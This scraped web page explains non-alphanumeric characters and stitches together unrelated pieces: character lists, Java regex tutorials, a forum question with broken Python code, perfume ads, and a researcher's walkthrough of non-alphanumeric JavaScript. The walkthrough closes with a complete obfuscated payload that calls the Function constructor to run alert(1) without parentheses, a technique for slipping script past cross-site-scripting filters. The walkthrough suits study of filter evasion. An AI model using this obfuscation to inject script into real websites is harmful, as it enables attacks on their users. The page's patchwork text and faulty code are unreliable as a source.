Hello and welcome to our discussion in solsarin. Today we want to talk about “Non Alphanumeric Characters” in our site. Thank you for choosing us.
Have you ever been confused about what non-alphanumeric characters are?
Non-alphanumeric characters are those characters or kinds of symbols that appear on the keyboard of a computer, including punctuation and mathematical symbols, these special characters are called non-alphanumeric characters. Those characters, which are not letters or numbers, are non-alphanumeric characters. An asterisk (*) is an example of a non-alphanumeric character.
Non-alpha, or non-alphanumeric, characters are used in several ways like in names and passwords, these non-alphanumeric characters are divided into four categories which are general punctuation, brackets, mathematical symbols, and miscellaneous characters. Some examples of these categories are mentioned below.
General punctuation- ´ (grave accent), , (comma), ! (exclamation mark), * (asterisk), _ (underscore), – (hyphen), ; (semicolon), @ (at-sign), : (colon), ? (question mark), . (full-stop/period), ‘ (apostrophe) and “ (double quote mark). All these kind of symbol falls under the category of general punctuation. There are many more kinds of characters and symbols that are used as an example of non-alphanumeric characters which are discussed below.
If you find this article helpful, you can also visit these why do scientists use models and what are mothballs used for.
There are four categories of non alphanumeric characters which are general punctuation, brackets, mathematical symbol and miscellaneous characters. Some of the examples of general punctuation are discussed above like , (comma), @ (at-sign), (grave accent), * (asterisk) _ (underscore) – (hyphen), ! (exclamation mark), : (colon), ? (question mark), ; (semicolon). (full-stop, period)‘ (apostrophe) and “ (double quote mark). Examples of brackets include ( (open parenthesis), ) (close parenthesis) { (open brace) } (close brace) [ (open bracket) ] (close bracket) < (less than) > (greater than). Examples of mathematical symbol include %(percent) +(plus sign) =(equals) .
Decimal points and signs of miscellaneous character include ~ (tilde), ^ (carat), | (pipe), / (forward slash), \ (backslash), $ (dollar sign), & (ampersand), # (hash mark). These were some basic examples of non-alphanumeric characters which are common in usernames and passwords. There are many signs that can be used as non-alphanumeric passwords because non-alphanumeric passwords are made up of a combination of punctuation and symbols and it is possible that your password might contain some special characters, or non-alphanumeric, characters for heightened security. So, in short, any character on your keyboard which is not a part of the alphabet or is numeric can be considered a non-alphanumeric character.
Non-alphanumeric characters are characters except alphanumeric characters. So alphabet and numeric characters are not non-alphanumeric characters. Below you can find a generic list of non-alphanumeric characters.
(blank space) ~ (tilde) ` (grave accent) ! (exclamation mark) @ (at) # (pound) $ (dollar sign) % (percent) ^ (carat) & (ampersand) * (asterisk) ( (open parenthesis) ) (close parenthesis) _ (underscore) - (hyphen) + (plus sign) = (equals) { (open brace) } (close brace) [ (open bracket) ] (close bracket) | (pipe) \ (backslash) : (colon) ; (semicolon) < (less than) , (comma) > (greater than) . (period) ? (question mark) / (forward slash)
The punction characters are part of non-alphanumeric characters.
! @ # & ( ) – [ { } ] : ; ' , ? / *
Symbol characters are characters that are symbols like below. The symbol characters are also non-alphanumeric characters.
`
~
$
^
+
=
<
>
“
Regex is a popular method in order to express specific patterns, characters, etc. The non-alphanumeric characters can express with the following regex.
Given a string str, the task is to remove all non-alphanumeric characters from it and print the modified it.
Examples:
Input: @!Geeks-for’Geeks,123
Output: GeeksforGeeks123
Explanation: at symbol(@), exclamation point(!), dash(-), apostrophes(‘), and commas(, ) are removed.Input: Geeks_for$ Geeks?{}[]
Output: GeeksforGeeks
Explanation: underscore(_), dollar sign($), white space, question mark(?), curly braces({}), and square bracket([]) are removed.Input: GeeksforGeeks123
Output: GeeksforGeeks123
Explanation: No need to remove any character, because the given string doesn’t have any non-alphanumeric character.
Since the alphanumeric characters lie in the ASCII value range of [65, 90] for uppercase alphabets, [97, 122] for lowercase alphabets, and [48, 57] for digits. Hence traverse the string character by character and fetch the ASCII value of each character. If the ASCII value is not in the above three ranges, then the character is a non-alphanumeric character. Therefore skip such characters and add the rest in another string and print it.
Non-alphanumeric characters comprise of all the characters except alphabets and numbers. It can be punctuation characters like exclamation mark(!), at symbol(@), commas(, ), question mark(?), colon(:), dash(-) etc and special characters like dollar sign($), equal symbol(=), plus sign(+), apostrophes(‘).
The approach is to use the String.replaceAll method to replace all the non-alphanumeric characters with an empty string.
Below is the implementation of the above approach:
// Java program to remove non-alphanumeric // characters from a string class GFG { // Function to remove non-alphanumeric // characters from string public static String removeNonAlphanumeric(String str) { // replace the given string // with empty string // except the pattern "[^a-zA-Z0-9]" str = str.replaceAll( "[^a-zA-Z0-9]" , "" ); // return string return str; } // Driver Code public static void main(String args[]) { // Test Case 1: String str1 = "@!Geeks-for'Geeks, 123" ; System.out.println( removeNonAlphanumeric(str1)); // Test Case 2: String str2 = "Geeks_for$ Geeks?{}[]" ; System.out.println( removeNonAlphanumeric(str2)); // Test Case 3: String str3 = "GeeksforGeeks123" ; System.out.println( removeNonAlphanumeric(str3)); } } |
Output
GeeksforGeeks123 GeeksforGeeks GeeksforGeeks123
Another approach involved using of regular expression. The string can be easily filtered using the ReGex [^a-zA-Z0-9 ].
Could someone please show me how to use some simple RegEx to do the following please:
“String with spaces, punctuation; and numbers (22)” -> “Stringwithspacespunctuationandnumbers22”
The only characters I want to retain are letters a-z (case doesn’t matter) and numbers 0 to 9. I’m working with web services that don’t like punctuation, but I don’t want to code string values with a generic recordID because I still want the results to be readable.
Basically, anything that isn’t a to z or 0 to 9 can just be thrown away.
The Alphanumericals are a combination of alphabetical [a-zA-Z]
and numerical [0-9]
characters, a total of 62 characters, and we can use regex [a-zA-Z0-9]+
to matches alphanumeric characters.
If we want regex matches non-alphanumeric
characters, prefix it with a negate symbol ^
, meaning we want any characters that are not alphanumeric.
^[^a-zA-Z0-9]+$
Regex explanation
^ # start string
[^a-zA-Z0-9] # NOT a-z, A-Z and 0-9
+ # one or more
$ # end string
Below is a Java regex to check for non-alphanumeric characters.
package com.mkyong.regex.string;
public class StringNonAlphanumeric {
public static void main(String[] args) {
String str = "!@#$%";
if (str.matches("^[^a-zA-Z0-9]+$")) {
System.out.println("Yes, true.");
} else {
System.out.println("failed!");
}
}
}
Output
Yes, true.
We can add all the invalid symbols into the bracket [ ]
.
^[^a-zA-Z0-9_:]+$
package com.mkyong.regex.string;
public class StringNonAlphanumericExtra {
public static void main(String[] args) {
String str = "!@#$%";
if (str.matches("^[^a-zA-Z0-9_:]+$")) {
System.out.println("Yes, true.");
} else {
System.out.println("failed!");
}
}
}
Output
Yes, true.
For String str = "!@#_:";
, now it will display below:
failed!
$ git clone https://github.com/mkyong/core-java
$ cd java-regex/string
I’m designing a system that allows users to input a string, and the strength of the string to determining by the amount of non alphanumeric characters. Points should award like so: +1 for every non-alnum character to a maximum of 3 non-alnum characters.
def non_alnum_2(total,pwd):
count = 0
lid = 3
number = 0
if pwd[count].isalnum():
if True:
print "Nope"
if False:
print "Good job"
count = count + 1
number += 1
if number > lid:
number = lid
return number
total = 0
number = 0
pwd = raw_input("What is your password? ")
non_alnum_2(total, pwd)
print total
total += number
I decided to look into non-alphanumeric JavaScript again and see if it was possible to execute it without parenthesis. A few years ago I did a presentation on non-alpha code if you want some more information on how it works take a look at the slides. Using similar techniques we were able to hack Uber.
A few things have changed in the browser world since the last time I looked into it, the interesting features are template literals and the find function on the array object. Template literals are useful because you can call functions without parenthesis and the find function can generate using “undefined” and therefore is much shorter than the original method of “filter”.
The basis of non-alpha involves using JavaScript objects to generate strings that eventually lead to code execution. For example +[] creates zero in JavaScript, [][[]] creates undefined. By converting objects such as undefined to a string like this [[][[]]+[]][+[]] then we can reuse those characters and get access to other objects. We need to call the constructor property of a function if we want to call arbitrary code, like this [].find.constructor(‘alert(1)’)().
So the first task is to generate the string “find”, we need to generate numbers in order to get the right index on the string undefined. Here’s how to generate the number 1.
+!+[]//1
Basically the code creates zero ! flips it true because 0 is falsey in JavaScript, then + is the infix operator which makes true into 1. Then we need to create the string undefined as mentioned above and get 4th index by add those numbers together. To produce “f”.
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]//f
Then we need to do the same thing to generate the other letters increasing/decreasing the index.
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]//i
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[[][[]]+[]][+[]][!+[]+!+[]]//d
Now we need to combine the characters and access the “find” function on an array literal.
[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]//find function
This gives us some more characters to play with, the find function’s toString value is function find() {[native code]}, the important character here is “c”. We can use the code above to get the find function and convert it to a string then get the relevant index.
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
Now we continue and get the other characters of “constructor” using “object”, true and false and converting them to strings.
[[]+{}][+[]][+!+[]]//o
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[![]+[]][+[]][!+[]+!+[]+!+[]]//s
[!![]+[]][+[]][+[]]//t
[!![]+[]][+[]][+!+[]]//r
[[][[]]+[]][+[]][+[]]//u
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
[!![]+[]][+[]][+[]]//t
[[]+{}][+[]][+!+[]]//o
[!![]+[]][+[]][+!+[]]//r
It’s now possible to access the Function constructor by getting the constructor property twice on an array literal. Combine the characters above to form “constructor”, then use an array literal [][‘constructor’][‘constructor’] to access the Function constructor.
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]//Function
Now we need to generate the code we want to execute in this case alert(1), true and false can generate alert. then we need the parenthesis from the [].find function.
[!{}+[]][+[]][+!+[]]//a
[!{}+[]][+[]][+!+[]+!+[]]//l
[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]//e
[!![]+[]][+[]][+!+[]]//r
[!![]+[]][+[]][+[]]//t
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//(
+!+[]//1
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//)
That’s the code generated now we need to execute it. Template literals will call a function even if it’s an expression this allows you to place them next to each other and is very useful for non-alpha code. The Function constructor returns a function and actually needs to be called twice in order to execute the code. E.g Function`alert(1)“` this is perfectly valid JavaScript. You might think you can just pass a generated string inside a template literal and execute the Function constructor however this won’t quite work as demonstrated by the following code alert`${‘ale’+’rt(1)’}`.
The template literals pass each part of the string as an argument, if you place some text before and after the template literal expression then you’ll see two arguments are sent to the calling function, the first argument contains the text before and after the template expression separated by a comma and the second argument contains the result of the template literal expression. Like the following code demonstrates:
function x(){ alert(arguments[0]);alert(arguments[1]) }
x`x${'ale'+'rt(1)'}x`
All that’s left to do is pass our generated Function constructor to a template literal and instead of using “x” as above we use “$” at either side of the template literal expression. This creates two unused arguments for the function. The final code is below.
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function(alert(1))
Dior Sauvage Elixir HI WELCOME TO solsarin.Dior Sauvage Elixir is a fragrance from the renowned…
ORTO PARISI Megamare HI WELCOME TO solsarin.ORTO PARISI Megamare is a masculine fragrance. This fragrance…
Creed Aventus perfume hi welcome to solsarin.With Creed Aventus perfume, you can experience elegance, luxury,…
Sauvage Dior cologne hi welcome to solsarin.A captivating scent awaits you with Sauvage Dior cologne! If…
Nasomatto perfume hi welcome to solsarin.Introducing Nasomatto Perfume: A True Luxury Experience If you are…
carolina herrera perfume hi welcome to solsarin.Enjoy an enchanting symphony of scents inspired by the…